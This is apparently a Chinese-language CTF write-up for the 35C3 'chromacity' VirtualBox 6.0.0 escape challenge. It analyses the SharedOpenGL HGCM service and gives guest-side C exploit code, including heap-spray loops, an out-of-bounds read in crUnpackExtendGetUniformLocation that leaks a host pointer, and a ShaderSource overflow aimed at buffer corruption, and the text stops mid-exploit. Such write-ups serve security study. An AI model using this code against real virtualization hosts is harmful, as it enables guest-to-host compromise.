Guest中的客户端会通过HGCM发送一连串的命令到`SharedOpenGL`服务中被解析并返回图形渲染的结果给Guest。其中我们注意到`SHCRGL_GUEST_FN_WRITE_BUFFER`分支
#### SHCRGL_GUEST_FN_WRITE_BUFFER
/* Execute the function. */
CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, cbBufferSize);
进入`svcGetBuffer`函数
static CRVBOXSVCBUFFER_t* svcGetBuffer(uint32_t iBuffer, uint32_t cbBufferSize)
{
CRVBOXSVCBUFFER_t* pBuffer;
if (iBuffer)
{
...........................
}
else /*allocate new buffer*/
{
pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t));
if (pBuffer)
{
pBuffer->pData = RTMemAlloc(cbBufferSize);
.........................
其中我们注意到当参数`iBuffer`为0时，会申请两个堆`RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t))`和`RTMemAlloc(cbBufferSize)`，由于参数是可以自由控制的，因此通过该功能，我们可以自由的申请堆块，在`Heap
Spray`中，这个非常有用。通过分析，`SHCRGL_GUEST_FN_WRITE_BUFFER`命令的功能就是`从Guset中接收一串数据，并存入Buffer中，如果Buffer不存在则创建一个新的`
我们将这个过程封装为函数用于使用
int alloc_buf(int client,int size,const char *msg,int msg_len) {
int rc = hgcm_call(client,SHCRGL_GUEST_FN_WRITE_BUFFER,"%u%u%u%b",0,size,0,"in",msg,msg_len);
if (rc) {
die("[-] alloc_buf error");
}
return ans_buf[0];
}
#### SHCRGL_GUEST_FN_WRITE_READ_BUFFERED
接下来我们看到`SHCRGL_GUEST_FN_WRITE_READ_BUFFERED`命令,首先是该命令需要3个参数
/* Verify parameter count and types. */
if (cParms != SHCRGL_CPARMS_WRITE_READ_BUFFERED)
{
rc = VERR_INVALID_PARAMETER;
}
else
if ( paParms[0].type != VBOX_HGCM_SVC_PARM_32BIT /* iBufferID */
|| paParms[1].type != VBOX_HGCM_SVC_PARM_PTR /* pWriteback */
|| paParms[2].type != VBOX_HGCM_SVC_PARM_32BIT /* cbWriteback */
|| !paParms[0].u.uint32 /*iBufferID can't be 0 here*/
)
{
rc = VERR_INVALID_PARAMETER;
}
第一个为`iBufferID`，也就是通过`SHCRGL_GUEST_FN_WRITE_BUFFER`命令创建的buffer对应的ID；第二个参数为`pWriteback`，是一个指针，用于在Guest中接收处理后的数据；第三个参数为`cbWriteback`表示数据长度。
我们将调用封装为函数用于使用
char crmsg_buf[0x1000];
int crmsg(int client,const char *msg,int msg_len) {
int buf_id = alloc_buf(client,0x1000,msg,msg_len);
int rc = hgcm_call(client,SHCRGL_GUEST_FN_WRITE_READ_BUFFERED,"%u%b%u",buf_id,"out",crmsg_buf,0x1000,0x1000);
if (rc) {
die("[-] crmsg error");
}
}
为了便于分析，我们写了一个测试程序
int main() {
int idClient = hgcm_connect("VBoxSharedCrOpenGL");
printf("idClient=%d\n",idClient);
set_version(idClient);
crmsg(idClient,"hello",0x6);
}
这里我们简单的发送`hello`到host中，看看会发生什么。
继续向下看
CRVBOXSVCBUFFER_t *pSvcBuffer = svcGetBuffer(iBuffer, 0);
if (!pSvcBuffer)
{
LogRel(("OpenGL: svcCall(WRITE_READ_BUFFERED): Invalid buffer (%d)\n", iBuffer));
rc = VERR_INVALID_PARAMETER;
break;
}
uint8_t *pBuffer = (uint8_t *)pSvcBuffer->pData;
uint32_t cbBuffer = pSvcBuffer->uiSize;
/* Execute the function. */
rc = crVBoxServerClientWrite(u32ClientID, pBuffer, cbBuffer);
通过`iBuffer`索引获取到了`pBuffer`以后，传入`crVBoxServerClientWrite`函数进行处理，我们进入该函数。
int32_t crVBoxServerClientWrite(uint32_t u32ClientID, uint8_t *pBuffer, uint32_t cbBuffer)
{
CRClient *pClient=NULL;
int32_t rc = crVBoxServerClientGet(u32ClientID, &pClient);
该函数首先调用`crVBoxServerClientGet`获取服务句柄
int32_t crVBoxServerClientGet(uint32_t u32ClientID, CRClient **ppClient)
{
CRClient *pClient = NULL;
pClient = crVBoxServerClientById(u32ClientID);
if (!pClient)
{
WARN(("client not found!"));
*ppClient = NULL;
return VERR_INVALID_PARAMETER;
}
if (!pClient->conn->vMajor)
{
WARN(("no major version specified for client!"));
*ppClient = NULL;
return VERR_NOT_SUPPORTED;
}
在`crVBoxServerClientGet`函数中，会判断`pClient->conn->vMajor`，如果没有设置则报错。该字段是在`svcCall`中的`SHCRGL_GUEST_FN_SET_VERSION`命令中被设置的
case SHCRGL_GUEST_FN_SET_VERSION:
{
...........
/* Fetch parameters. */
uint32_t vMajor = paParms[0].u.uint32;
uint32_t vMinor = paParms[1].u.uint32;
/* Execute the function. */
rc = crVBoxServerClientSetVersion(u32ClientID, vMajor, vMinor);
因此，在我们使用`SHCRGL_GUEST_FN_WRITE_BUFFER`之前，应该先使用`SHCRGL_GUEST_FN_SET_VERSION`设置一下版本
int set_version(int client) {
int rc = hgcm_call(client,SHCRGL_GUEST_FN_SET_VERSION,"%u%u",CR_PROTOCOL_VERSION_MAJOR,CR_PROTOCOL_VERSION_MINOR);
if (rc) {
die("[-] set_version error");
}
return 0;
}
当`int32_t rc = crVBoxServerClientGet(u32ClientID,
&pClient);`执行完获取到服务句柄以后，就继续调用`crVBoxServerInternalClientWriteRead`函数
pClient->conn->pBuffer = pBuffer;
pClient->conn->cbBuffer = cbBuffer;
#ifdef VBOX_WITH_CRHGSMI
CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);
#endif
crVBoxServerInternalClientWriteRead(pClient);
return VINF_SUCCESS;
}
crVBoxServerInternalClientWriteRead函数如下
static void crVBoxServerInternalClientWriteRead(CRClient *pClient)
{
............................
crNetRecv();
CRASSERT(pClient->conn->pBuffer==NULL && pClient->conn->cbBuffer==0);
CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);
crServerServiceClients();
crStateResetCurrentPointers(&cr_server.current);
..............
先是调用了`crNetRecv`函数，经过调试，调用链如下
pwndbg> k
#0 0x00007f1b3db9ff05 in _crVBoxHGCMReceiveMessage (conn=0x7f1b1cf408c0) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1091
#1 0x00007f1b3dba13cc in _crVBoxHGCMPerformReceiveMessage (conn=0x7f1b1cf408c0) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:2425
#2 0x00007f1b3dba141c in crVBoxHGCMRecv () at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:2482
#3 0x00007f1b3db80238 in crNetRecv () at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/net.c:1307
#4 0x00007f1b3ddea7b4 in crVBoxServerInternalClientWriteRead (pClient=0x7f1b1d04da10) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:754
#5 0x00007f1b3ddeacb1 in crVBoxServerClientWrite (u32ClientID=35, pBuffer=0x7f1b1d04e3f0 "hello", cbBuffer=4096) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:792
#6 0x00007f1b3ddce7c7 in svcCall (callHandle=0x7f1b34c93f50, u32ClientID=35, pvClient=0x7f1b3000a7e0, u32Function=14, cParms=3, paParms=0x7f1b5452d560, tsArrival=29122886987445) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:740
#7 0x00007f1b6e30325a in hgcmServiceThread (pThread=0x7f1b30003c70, pvUser=0x7f1b30003b10) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:708
#8 0x00007f1b6e300090 in hgcmWorkerThreadFunc (hThreadSelf=0x7f1b30004050, pvUser=0x7f1b30003c70) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200
#9 0x00007f1b8ae47aff in rtThreadMain (pThread=0x7f1b30004050, NativeThread=139754983003904, pszThreadName=0x7f1b30004930 "ShCrOpenGL") at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719
#10 0x00007f1b8af8e098 in rtThreadNativeMain (pvArgs=0x7f1b30004050) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/posix/thread-posix.cpp:327
#11 0x00007f1b859da6ba in start_thread (arg=0x7f1b3e1e1700) at pthread_create.c:333
#12 0x00007f1b87fd84dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
可以知道该函数位于`src/VBox/GuestHost/OpenGL/util/net.c`源文件，虽然这里位于`Guset`中的客户端源码，但其实是同样编译了一份给Host用
pwndbg> p crNetRecv
$2 = {int (void)} 0x7f1b3db80208 <crNetRecv>
pwndbg> vmmap 0x7f1b3db80208
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7f1b3db6d000 0x7f1b3dbb3000 r-xp 46000 0 /home/sea/Desktop/VirtualBox-6.0.0/out/linux.amd64/debug/bin/VBoxOGLhostcrutil.so +0x13208
pwndbg>
可以知道其在`VBoxOGLhostcrutil.so`库中，从调用链可以知道最终调用到`_crVBoxHGCMReceiveMessage`这里会出现问题
static void _crVBoxHGCMReceiveMessage(CRConnection *conn)
{
uint32_t len;
CRVBOXHGCMBUFFER *hgcm_buffer;
CRMessage *msg;
CRMessageType cached_type;
len = conn->cbBuffer;
CRASSERT(len > 0);
CRASSERT(conn->pBuffer);
#ifndef IN_GUEST
/* Expect only CR_MESSAGE_OPCODES from the guest. */
AssertPtrReturnVoid(conn->pBuffer);
if ( conn->cbBuffer >= sizeof(CRMessageHeader)
&& ((CRMessageHeader*) (conn->pBuffer))->type == CR_MESSAGE_OPCODES)
{
/* Looks good. */
}
else
{
AssertFailed();
/** @todo Find out if this is the expected cleanup. */
conn->cbBuffer = 0;
conn->pBuffer = NULL;
return;
}
#endif
这里会将我们传入的数据转换为`CRMessageHeader`结构体，然后判断`type`是否为`CR_MESSAGE_OPCODES`，如果不是，则报错
typedef struct {
CRMessageType type;
unsigned int conn_id;
} CRMessageHeader;
由此可见，我们的数据必须符合要求，当检查通过以后
#ifndef IN_GUEST
if (conn->allow_redir_ptr)
{
#endif
CRASSERT(conn->buffer_size >= sizeof(CRMessageRedirPtr));
hgcm_buffer = (CRVBOXHGCMBUFFER *) _crVBoxHGCMAlloc( conn ) - 1;
hgcm_buffer->len = sizeof(CRMessageRedirPtr);
msg = (CRMessage *) (hgcm_buffer + 1);
msg->header.type = CR_MESSAGE_REDIR_PTR;
msg->redirptr.pMessage = (CRMessageHeader*) (conn->pBuffer);
msg->header.conn_id = msg->redirptr.pMessage->conn_id;
#if defined(VBOX_WITH_CRHGSMI) && !defined(IN_GUEST)
msg->redirptr.CmdData = conn->CmdData;
CRVBOXHGSMI_CMDDATA_ASSERT_CONSISTENT(&msg->redirptr.CmdData);
CRVBOXHGSMI_CMDDATA_CLEANUP(&conn->CmdData);
#endif
cached_type = msg->redirptr.pMessage->type;
conn->cbBuffer = 0;
conn->pBuffer = NULL;
#ifndef IN_GUEST
如果`conn->allow_redir_ptr`被设置，会创建一个新的Msg，并设置type为`CR_MESSAGE_REDIR_PTR`，最后使用`crNetDispatchMessage(
g_crvboxhgcm.recv_list, conn, msg, len
);`将消息挂到消息队列上，由此可见这是一种异步多线程的处理方式。最初调用`crNetRecv`就是为了将请求放到队列中慢慢处理。
回到`crVBoxServerInternalClientWriteRead`函数
crNetRecv();
CRASSERT(pClient->conn->pBuffer==NULL && pClient->conn->cbBuffer==0);
CRVBOXHGSMI_CMDDATA_ASSERT_CLEANED(&pClient->conn->CmdData);
crServerServiceClients();
crStateResetCurrentPointers(&cr_server.current);
接下来该调用`crServerServiceClients`函数
void
crServerServiceClients(void)
{
RunQueue *q;
q = getNextClient(GL_FALSE); /* don't block */
while (q)
{
ClientStatus stat = crServerServiceClient(q);
if (stat == CLIENT_NEXT && cr_server.run_queue->next) {
/* advance to next client */
cr_server.run_queue = cr_server.run_queue->next;
}
q = getNextClient(GL_FALSE);
}
}
以上可以看出，他是依次取出请求对象，然后使用函数`crServerServiceClient`进行处理
/**
* Process incoming/pending message for the given client (queue entry).
* \return CLIENT_GONE if this client has gone away/exited,
* CLIENT_NEXT if we can advance to the next client
* CLIENT_MORE if we have to process more messages for this client.
*/
static ClientStatus
crServerServiceClient(const RunQueue *qEntry)
{
CRMessage *msg;
CRConnection *conn;
/* set current client pointer */
cr_server.curClient = qEntry->client;
conn = cr_server.run_queue->client->conn;
/* service current client as long as we can */
while (conn && conn->type != CR_NO_CONNECTION &&
crNetNumMessages(conn) > 0) {
unsigned int len;
/*
crDebug("%d messages on %p",
crNetNumMessages(conn), (void *) conn);
*/
/* Don't use GetMessage, because we want to do our own crNetRecv() calls
* here ourself.
* Note that crNetPeekMessage() DOES remove the message from the queue
* if there is one.
*/
len = crNetPeekMessage( conn, &msg );
..........................
/* Commands get dispatched here */
crServerDispatchMessage( conn, msg, len );
该函数调用`crServerDispatchMessage`函数进行opcode的处理
/**
* This function takes the given message (which should be a buffer of
* rendering commands) and executes it.
*/
static void
crServerDispatchMessage(CRConnection *conn, CRMessage *msg, int cbMsg)
{
const CRMessageOpcodes *msg_opcodes;
int opcodeBytes;
const char *data_ptr, *data_ptr_end;
...............
if (msg->header.type == CR_MESSAGE_REDIR_PTR)
{
#ifdef VBOX_WITH_CRHGSMI
pCmdData = &msg->redirptr.CmdData;
#endif
msg = (CRMessage *) msg->redirptr.pMessage;
}
CRASSERT(msg->header.type == CR_MESSAGE_OPCODES);
msg_opcodes = (const CRMessageOpcodes *) msg;
opcodeBytes = (msg_opcodes->numOpcodes + 3) & ~0x03;
#ifdef VBOXCR_LOGFPS
CRASSERT(cr_server.curClient && cr_server.curClient->conn && cr_server.curClient->conn->id == msg->header.conn_id);
cr_server.curClient->conn->opcodes_count += msg_opcodes->numOpcodes;
#endif
data_ptr = (const char *) msg_opcodes + sizeof(CRMessageOpcodes) + opcodeBytes;
data_ptr_end = (const char *)msg_opcodes + cbMsg; // Pointer to the first byte after message data
enmType = crUnpackGetBufferType(data_ptr - 1, /* first command's opcode */
msg_opcodes->numOpcodes /* how many opcodes */);
switch (enmType)
{
case CR_UNPACK_BUFFER_TYPE_GENERIC:
.................
}
if (fUnpack)
{
crUnpack(data_ptr, /* first command's operands */
data_ptr_end, /* first byte after command's operands*/
data_ptr - 1, /* first command's opcode */
msg_opcodes->numOpcodes, /* how many opcodes */
&(cr_server.dispatch)); /* the CR dispatch table */
}
..................
}
而`crServerDispatchMessage`函数首先检查是否为`msg->header.type ==
CR_MESSAGE_REDIR_PTR`类型的消息，由于前面将原始消息挂在队列时，由于`conn->allow_redir_ptr`为true，所以消息确实是被转化为`CR_MESSAGE_REDIR_PTR`类型的。检查通过后，后面就调用了`crUnpack`函数来处理`Opcode`，其中`crUnpack`函数是通过脚本`src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py`生成的，可以在编译后的目录`out/linux.amd64/debug/obj/VBoxOGLgen/unpack.c`里找到
void crUnpack( const void *data, const void *data_end, const void *opcodes,
unsigned int num_opcodes, SPUDispatchTable *table )
{
unsigned int i;
const unsigned char *unpack_opcodes;
if (table != cr_lastDispatch)
{
crSPUCopyDispatchTable( &cr_unpackDispatch, table );
cr_lastDispatch = table;
}
unpack_opcodes = (const unsigned char *)opcodes;
cr_unpackData = (const unsigned char *)data;
cr_unpackDataEnd = (const unsigned char *)data_end;
#if defined(CR_UNPACK_DEBUG_OPCODES) || defined(CR_UNPACK_DEBUG_LAST_OPCODES)
crDebug("crUnpack: %d opcodes", num_opcodes);
#endif
for (i = 0; i < num_opcodes; i++)
{
CRDBGPTR_CHECKZ(writeback_ptr);
CRDBGPTR_CHECKZ(return_ptr);
/*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/
#ifdef CR_UNPACK_DEBUG_PREV_OPCODES
g_VBoxDbgCrPrevOpcode = *unpack_opcodes;
#endif
switch( *unpack_opcodes )
{
case CR_ALPHAFUNC_OPCODE:
................
case CR_ARRAYELEMENT_OPCODE:
..............
可以看到这是Opcode处理机，根据不同的Opcode，对应不同的操作。在`cr_opcodes.h`头文件中有这些Opcode的定义。
综上分析，`SHCRGL_GUEST_FN_WRITE_READ_BUFFERED`命令可以将buffer中的opcode进行处理，最后调用`crVBoxServerClientRead`将结果写回Guest，然后调用`svcFreeBuffer`对Buffer进行释放。
rc = crVBoxServerClientRead(u32ClientID, pWriteback, &cbWriteback);
if (RT_SUCCESS(rc))
{
/* Update parameters.*/
paParms[1].u.pointer.size = cbWriteback;
}
/* Return the required buffer size always */
paParms[2].u.uint32 = cbWriteback;
svcFreeBuffer(pSvcBuffer);
我们可以写出如下的代码
int main() {
int idClient = hgcm_connect("VBoxSharedCrOpenGL");
printf("idClient=%d\n",idClient);
set_version(idClient);
getchar();
uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
0x66666666, //conn_id
1, //numOpcodes
0x12345678,
0x61616161
};
crmsg(idClient,msg,sizeof(msg));
}
## 0x02 35C3CTF Virtualbox NDay
chromacity 477
Solves: 2
Please escape VirtualBox. 3D acceleration is enabled for your convenience.
No need to analyze the 6.0 patches, they should not contain security fixes.
Once you're done, submit your exploit at https://vms.35c3ctf.ccc.ac/, but assume that all passwords are different on the remote setup.
Challenge files. Password for the encrypted VM image is the flag for "sanity check".
Setup
UPDATE: You might need to enable nested virtualization.
Hint: https://github.com/niklasb/3dpwn/ might be useful
Hint 2: this photo was taken earlier today at C3
Difficulty estimate: hard
题目的VirtualBox为6.0.0版本，通过参考资料已经知道了第一个漏洞点出在`crUnpackExtendGetUniformLocation`函数
### crUnpackExtendGetUniformLocation
#### 分析
void crUnpackExtendGetUniformLocation(void)
{
int packet_length = READ_DATA(0, int);
GLuint program = READ_DATA(8, GLuint);
const char *name = DATA_POINTER(12, const char);
SET_RETURN_PTR(packet_length-16);
SET_WRITEBACK_PTR(packet_length-8);
cr_unpackDispatch.GetUniformLocation(program, name);
}
该函数没有检查`packet_length`，而该字段是我们从Guest中通过HGCM和Chromium协议传入的数据中的，因此完全可控。
为了触发调用该函数，我们使用如下代码
int main() {
int idClient = hgcm_connect("VBoxSharedCrOpenGL");
printf("idClient=%d\n",idClient);
set_version(idClient);
getchar();
int offset = 0x200;
uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
0x66666666, //conn_id
1, //numOpcodes
CR_EXTEND_OPCODE << 24,
offset, //packet_length
CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode
0, //program
*(uint32_t *)"leak" //name
};
crmsg(idClient,msg,sizeof(msg));
for (int i=0;i<100;i++) {
printf("%02x ",crmsg_buf[i]);
}
}
通过调试可以知道
In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
346 void crUnpackExtendGetUniformLocation(void)
347 {
348 int packet_length = READ_DATA(0, int);
349 GLuint program = READ_DATA(8, GLuint);
350 const char *name = DATA_POINTER(12, const char);
► 351 SET_RETURN_PTR(packet_length-16);
352 SET_WRITEBACK_PTR(packet_length-8);
353 cr_unpackDispatch.GetUniformLocation(program, name);
354 }
355
pwndbg> x /20bx cr_unpackData+0x200-16
0x7f1adc9a03d0: 0x08 0x19 0x00 0x00 0x01 0x14 0x00 0x00
0x7f1adc9a03d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7f1adc9a03e0: 0xfa 0x6c 0x28 0xf2
SET_RETURN_PTR操作将`cr_unpackData+packet_length-16`处的数据拷贝到了Guest中的`crmsg_buf`中，于是我们可以利用起来进行越界内存地址泄露
为了泄露地址，我们首先使用`heap spray`布置堆风水。
首先，我们得了解一下当我们与`SharedOpenGL`服务建立连接时，会创建哪些结构体，当与服务连接时，`svcConnect`会被HGCM协议调用进行连接初始化
static DECLCALLBACK(int) svcConnect (void *, uint32_t u32ClientID, void *pvClient, uint32_t fRequestor, bool fRestoring)
{
RT_NOREF(pvClient, fRequestor, fRestoring);
if (g_u32fCrHgcmDisabled)
{
WARN(("connect not expected"));
return VERR_INVALID_STATE;
}
Log(("SHARED_CROPENGL svcConnect: u32ClientID = %d\n", u32ClientID));
int rc = crVBoxServerAddClient(u32ClientID);
return rc;
}
crVBoxServerAddClient函数如下
int32_t crVBoxServerAddClient(uint32_t u32ClientID)
{
CRClient *newClient;
.....
newClient = (CRClient *) crCalloc(sizeof(CRClient));
.....
newClient->conn = crNetAcceptClient(cr_server.protocol, NULL,
cr_server.tcpip_port,
cr_server.mtu, 0);
.................
}
crNetAcceptClient函数如下
CRConnection *
crNetAcceptClient( const char *protocol, const char *hostname,
unsigned short port, unsigned int mtu, int broker )
{
CRConnection *conn;
...................
conn = (CRConnection *) crCalloc( sizeof( *conn ) );
}
可以看到这里申请了结构体`CRClient`和结构体`CRConnection`的内存。其中`CRClient`大小为`0x9d0`，`CRConnection`大小为`0x298`
#### 利用
我们首先申请N个这么些大小的堆，用于消耗内存碎片
//heap spray
for (int i=0;i<600;i++) {
alloc_buf(client,0x298,"CRConnection_size_fill",23);
}
for (int i=0;i<600;i++) {
alloc_buf(client,0x9d0,"CRClient_size_fill",23);
}
然后接下来建立一个新的`VBoxSharedCrOpenGL`服务，由于前面内存碎片耗尽，此时的`VBoxSharedCrOpenGL`服务申请的`CRClient`和`CRConnection`很可能相邻
//CRClient和CRConnection结构体将被创建
int new_client = hgcm_connect("VBoxSharedCrOpenGL");
for (int i=0;i<600;i++) {
alloc_buf(client,0x298,"CRConnection_size_fill",23);
}
for (int i=0;i<600;i++) {
alloc_buf(client,0x9d0,"CRClient_size_fill",23);
}
接下来，我们将`new_client`释放,然后使用同样大小的crmsg的buf占位，并且控制OPCODE使得程序进入`crUnpackExtendGetUniformLocation`函数
//释放CRClient和CRConnection结构体
hgcm_disconnect(new_client);
uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
0x66666666, //conn_id
1, //numOpcodes
CR_EXTEND_OPCODE << 24,
OFFSET_PCLIENT, //packet_length
CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode
0, //program
*(uint32_t *)"leak" //name
};
//将crmsg的unpack_buffer申请占位到之前的CRConnection结构体位置，从而进行数据泄露
crmsg(client,0x298,msg,sizeof(msg));
那么此时的`cr_unpackData`与原来`new_client`的空间重合，由于crmsg使用的buf是通过`svcGetBuffer`生成的，而之前分析过`svcGetBuffer`是通过`RTMemAlloc(cbBufferSize);`来申请堆的，`RTMemAlloc`函数不会清除原空间的内容，调试如下
In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
343 cr_unpackDispatch.GetAttribLocation(program, name);
344 }
345
346 void crUnpackExtendGetUniformLocation(void)
347 {
► 348 int packet_length = READ_DATA(0, int);
349 GLuint program = READ_DATA(8, GLuint);
350 const char *name = DATA_POINTER(12, const char);
351 SET_RETURN_PTR(packet_length-16);
352 SET_WRITEBACK_PTR(packet_length-8);
353 cr_unpackDispatch.GetUniformLocation(program, name);
pwndbg> tel cr_unpackData 100
00:0000│ rdi 0x7fb89214f080 ◂— 0xa400000248
01:0008│ 0x7fb89214f088 ◂— 0x6b61656c00000000
02:0010│ 0x7fb89214f090 ◂— 0x0
... ↓ 2 skipped
05:0028│ 0x7fb89214f0a8 ◂— 0xffffffff
06:0030│ 0x7fb89214f0b0 ◂— 0x0
... ↓ 9 skipped
10:0080│ 0x7fb89214f100 ◂— 0x3e8000003e800
11:0088│ 0x7fb89214f108 ◂— 0x0
12:0090│ 0x7fb89214f110 ◂— 0x0
13:0098│ 0x7fb89214f118 ◂— 0x100000000
14:00a0│ 0x7fb89214f120 ◂— 0x0
... ↓ 2 skipped
17:00b8│ 0x7fb89214f138 ◂— 0x1b58
18:00c0│ 0x7fb89214f140 —▸ 0x7fb8a5cfc00c (crVBoxHGCMAlloc) ◂— push rbp
19:00c8│ 0x7fb89214f148 —▸ 0x7fb8a5cfcd4e (crVBoxHGCMFree) ◂— push rbp
1a:00d0│ 0x7fb89214f150 —▸ 0x7fb8a5cfc982 (crVBoxHGCMSend) ◂— push rbp
1b:00d8│ 0x7fb89214f158 ◂— 0x0
因此这里我们无需用到越界读也能泄露出原来`CRConnection`中的信息，我们泄露出位于`0x248`处的`pClient`地址以后，重新建立了一个新的`VBoxSharedCrOpenGL`服务，以便我们后续劫持该服务中的`CRConnection`中一些函数指针，从而控制程序流程
uint64_t client_addr = *(uint64_t *)(crmsg_buf+0x10);
//重新将新的CRClient和CRConnection结构体占位与此
new_client = hgcm_connect("VBoxSharedCrOpenGL");
LeakClient lc = {
.new_client = new_client,
.client_addr = client_addr
};
/*for (int i=0;i<100;i++) {
printf("%02x ",crmsg_buf[i]);
}*/
return lc;
### crUnpackExtendShaderSource
#### 分析
现在来看第二个漏洞`crUnpackExtendShaderSource`函数
void crUnpackExtendShaderSource(void)
{
GLint *length = NULL;
GLuint shader = READ_DATA(8, GLuint);
GLsizei count = READ_DATA(12, GLsizei);
GLint hasNonLocalLen = READ_DATA(16, GLsizei);
GLint *pLocalLength = DATA_POINTER(20, GLint);
char **ppStrings = NULL;
GLsizei i, j, jUpTo;
int pos, pos_check;
if (count >= UINT32_MAX / sizeof(char *) / 4)
{
crError("crUnpackExtendShaderSource: count %u is out of range", count);
return;
}
pos = 20 + count * sizeof(*pLocalLength);
if (hasNonLocalLen > 0)
{
length = DATA_POINTER(pos, GLint);
pos += count * sizeof(*length);
}
pos_check = pos;
if (!DATA_POINTER_CHECK(pos_check))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}
for (i = 0; i < count; ++i)
{
if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}
pos_check += pLocalLength[i];
}
ppStrings = crAlloc(count * sizeof(char*));
if (!ppStrings) return;
for (i = 0; i < count; ++i)
{
ppStrings[i] = DATA_POINTER(pos, char);
pos += pLocalLength[i];
if (!length)
{
pLocalLength[i] -= 1;
}
Assert(pLocalLength[i] > 0);
jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
for (j = 0; j < jUpTo; ++j)
{
char *pString = ppStrings[i];
if (pString[j] == '\0')
{
Assert(j == jUpTo - 1);
pString[j] = '\n';
}
}
}
// cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);
crFree(ppStrings);
}
该函数的中间的一个循环，每次循环开始，检查前一次累加出的pos_check是否越界，显然经过这样的检查，`pos_check`肯定在`INT32_MAX`范围内，但是后一个范围即`DATA_POINTER_CHECK(pos_check)`的检查则不一定了
for (i = 0; i < count; ++i)
{
if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
{
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}
pos_check += pLocalLength[i];
}
因为对于最后一次的循环，`pLocalLength[i];`可以为任意大小的值，将其累加到`pos_check`上面以后，就退出了循环，没有再次检查`pos_check`是否还在`DATA_POINTER`范围内。由于上述的检查不充分，下方的循环将导致溢出
Assert(pLocalLength[i] > 0);
jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
for (j = 0; j < jUpTo; ++j)
{
char *pString = ppStrings[i];
if (pString[j] == '\0')
{
Assert(j == jUpTo - 1);
pString[j] = '\n';
}
}
虽然存在`Assert(j == jUpTo -1);`的检查，但是对于`release`版本，在编译时`Assert`会被去掉。因此，上述代码可以溢出指定长度，并将后方为空字节的数据替换为`\n`。
#### 利用
对于这种溢出，一个好的利用方式就是通过它将\0替换为\n的特性将某些类似于Buffer的对象的length修改，从而使得该Buffer能够越界溢出，进而控制其他对象。
前面`SHCRGL_GUEST_FN_WRITE_BUFFER`命令创建的`CRVBOXSVCBUFFER_t`对象是一个很好的选择，该对象结构如下
typedef struct _CRVBOXSVCBUFFER_t {
uint32_t uiId;
uint32_t uiSize;
void* pData;
_CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;
将该对象布局到`cr_unpackData`后方，通过溢出，可以将`CRVBOXSVCBUFFER_t`中的`uiSize`改大，从而使得该`CRVBOXSVCBUFFER_t`能够溢出。假设在该`CRVBOXSVCBUFFER_t`的`pData`指向的内存后方还有一个`CRVBOXSVCBUFFER_t`,那么通过溢出，可以控制后面整个`CRVBOXSVCBUFFER_t`，从而实现任意地址读写。
首先通过申请大量的`Buffer`，消耗内存碎片，最后申请的几个Buffer就很大可能连续
uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
0x66666666, //conn_id
1, //numOpcodes
CR_EXTEND_OPCODE << 24,
0x12345678,
CR_SHADERSOURCE_EXTEND_OPCODE, //extend opcode
0, //shader
2, //count
0, //hasNonLocalLen
0x1,0x100, // *pLocalLength
0x12345678 //padding
};
for (int i=0;i<0x1000-0x4;i++) {
alloc_buf(client,sizeof(msg),"heap fengshui",23);
}
int buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));
int buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaa",sizeof(msg));
int buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbb",sizeof(msg));
int buf4 = alloc_buf(client,sizeof(msg),"ccccccccccccc",sizeof(msg));
crmsg_with_bufid(client,buf1);
